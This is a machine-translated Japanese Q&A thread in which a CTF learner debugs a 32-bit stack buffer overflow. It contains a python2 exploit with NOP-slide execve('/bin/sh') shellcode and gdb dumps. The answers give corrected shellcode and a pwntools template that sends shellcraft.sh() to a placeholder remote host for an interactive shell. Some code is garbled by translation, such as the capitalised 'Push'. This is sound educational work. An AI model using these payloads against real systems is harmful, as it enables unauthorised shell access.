CTF演習中にスタックスマッシングが発生した後、それについて学び始めました。 CTF用に受け取った32ビットのELF実行可能ファイルで練習しています。
バイナリファイルを分解した後、プログラムがプロンプトをロードして書き出し、次にsyscalls(ライブラリ関数なし)を使用して、長さをチェックせずに入力を読み取ります。
私は少しそれをつついて、クラッシュする前にバッファが20 "A"を保持しているのを見つけたので、バッファを埋め、次にコードにつながるnop-slideへのアドレスを続けます。
#!/usr/bin/env python2
import struct
pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# http://Shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode
最初は、ペイロードは「ABCD」を画面に書き込むためのシステムコールであり、正常にトリガーされました。
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0xc0315490
0xbffffec4: 0xc931db31 0x4168d231 0x89444342 0xb305b2e1
0xbffffed4: 0xcd04b001 0x40c03180 0x000a80cd 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]
次に、/ bin/shを実行する呼び出しでシェルコードをいくつか試しましたが、ペイロードがロードされたようですが、コードを実行した後、シェルが起動しません。
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0x50c03190
0xbffffec4: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350
0xbffffed4: 0x80cd0bb0 0x0000000a 0x00000020 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24
0xbffffec0: nop
0xbffffec1: xor %eax,%eax
0xbffffec3: Push %eax
0xbffffec4: Push $0x68732f2f
0xbffffec9: Push $0x6e69622f
0xbffffece: mov %esp,%ebx
0xbffffed0: Push %eax
0xbffffed1: Push %ebx
0xbffffed2: mov %esp,%ecx
0xbffffed4: mov $0xb,%al
0xbffffed6: int $0x80
=> 0xbffffed8: or (%eax),%al
0xbffffeda: add %al,(%eax)
0xbffffedc: and %al,(%eax)
0xbffffede: add %al,(%eax)
ファイルはスタック保護または位置独立ではありません。
hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: unknown, no protectable libc functions used
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: unknown, no -fcf-protection instructions found!
これらは私の唯一の環境変数です:
(gdb) show env
PWD=/root/Scripts
Shell=/bin/bash
SHLVL=0
明らかに、私は何かを逃しており、物事はコードを実行させるだけの単純なものではありません。私の制約を考慮してシェルをスポーンさせるにはどうすればよいですか?
使用しているシェルコード:
_ 0xbffffec1: xor %eax,%eax
0xbffffec3: Push %eax
0xbffffec4: Push $0x68732f2f
0xbffffec9: Push $0x6e69622f
0xbffffece: mov %esp,%ebx
0xbffffed0: Push %eax
0xbffffed1: Push %ebx
0xbffffed2: mov %esp,%ecx
0xbffffed4: mov $0xb,%al
0xbffffed6: int $0x80
_
は基本的にexecve("/bin//sh",$ecx,$edx)
を実行していますが、_$edx
_をNULLまたはポインタの配列へのポインタに設定することは考慮されていません。
これがGDBの_info registers
_の問題であることを確認できます。
この問題を解決するには、_xor %edx,%edx
_(バイト_0x31, 0xd2
_)の_int $0x80
_の前の任意の場所に追加できます(命令の境界に挿入するように注意してください、_0xcd, 0x80
_)そしてそれはうまくいくはずです。
バイナリがバッファをオーバーフローする読み取りを行うためにsyscallsを使用しているので、命令のバイト値(strcpy
やgets
などの関数)を気にする必要はないと述べましたnullバイトまたは0x0Aバイトになると、バイトのコピーを停止します。
pwn
では、次のように使用します(intel構文Assemblyおよびasm関数):
_from pwn import asm
shellcode = asm("""
xor eax,eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
Push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")
_
あなたはそれをバイトとして見ることもできます:
_print(disasm(shellcode))
0: 31 c0 xor eax, eax
2: 50 Push eax
3: 68 2f 2f 73 68 Push 0x68732f2f
8: 68 2f 62 69 6e Push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 Push eax
10: 53 Push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
_
私もCTFプレーヤーです。BoFが大好きです。最初にこれを確認してください。BoFに役立ち、シェルをスポーンするのも簡単です: https://github.com/Gallopsled/pwntools
Pwntoolsを使用してシェルを生成したい場合は、次のようなサンプルコードがあります。
from pwn import *
context(Arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
あなたの場合、あなたはそれを上書きする必要がない場合は、Radare2を使用してアプリケーション内に利用可能なシェル関数があるかどうかを確認する必要があります。ここに、pwntoolsがどのように機能するかに関するいくつかのリソースがあります。
https://github.com/mishrasunny174/encrypt-ctf/tree/master/pwn/x86